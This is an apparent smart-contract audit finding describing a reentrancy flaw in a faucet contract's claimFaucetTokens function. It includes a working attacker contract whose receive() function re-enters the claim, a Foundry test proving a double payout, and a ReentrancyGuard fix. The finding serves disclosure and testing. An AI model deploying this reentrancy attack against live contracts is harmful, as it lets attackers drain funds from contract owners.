Reentrancy in claimFaucetTokens allows malicious users to earn more tokens
Description
When a user calls the claimFaucetTokens for the first time, he will earn sepolia eth.
function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
...
}
...
}
But a malicious user can create a contract that receives the sepolia eth and then calls the function claimFaucetTokens again,
That allows him to earn more tokens.
Risk
Likelyhood (high) : The malicious user just needs to create a smart contract with a reentering fallback function.
Impact (high) : He will earn the drip more than he should have been.
Proof of Concept
In RaiseBoxFaucet.t.sol, add this smart contract :
contract AttackerContract {
RaiseBoxFaucet raiseBoxFaucet;
address owner;
IERC20 public immutable raiseboxtoken;
constructor(address payable _raiseboxfaucet, address _owner) {
raiseBoxFaucet = RaiseBoxFaucet(_raiseboxfaucet);
owner = _owner;
raiseboxtoken = IERC20(address(raiseBoxFaucet));
}
function call_claimFaucet() external {
raiseBoxFaucet.claimFaucetTokens();
raiseboxtoken.transfer(owner, raiseboxtoken.balanceOf(address(this)));
}
receive() payable external {
raiseBoxFaucet.claimFaucetTokens();
}
}
and add this test :
function testReentrancy() public {
AttackerContract attack = new AttackerContract(payable(address(raiseBoxFaucet)), user1);
uint256 User1AmountBeforeclaim = raiseBoxFaucet.getBalance(user1);
assertEq(User1AmountBeforeclaim, 0);
attack.call_claimFaucet();
uint256 User1AmountAfterClaim = raiseBoxFaucet.getBalance(user1);
assertEq(User1AmountAfterClaim, raiseBoxFaucet.faucetDrip() * 2);
}
Recommended Mitigation
Add Reentrancy Guard to the contract and the nonReentrant modifier to the function claimFaucetTokens. (https://medium.com/@mayankchhipa007/openzeppelin-reentrancy-guard-a-quickstart-guide-7f5e41ee388f)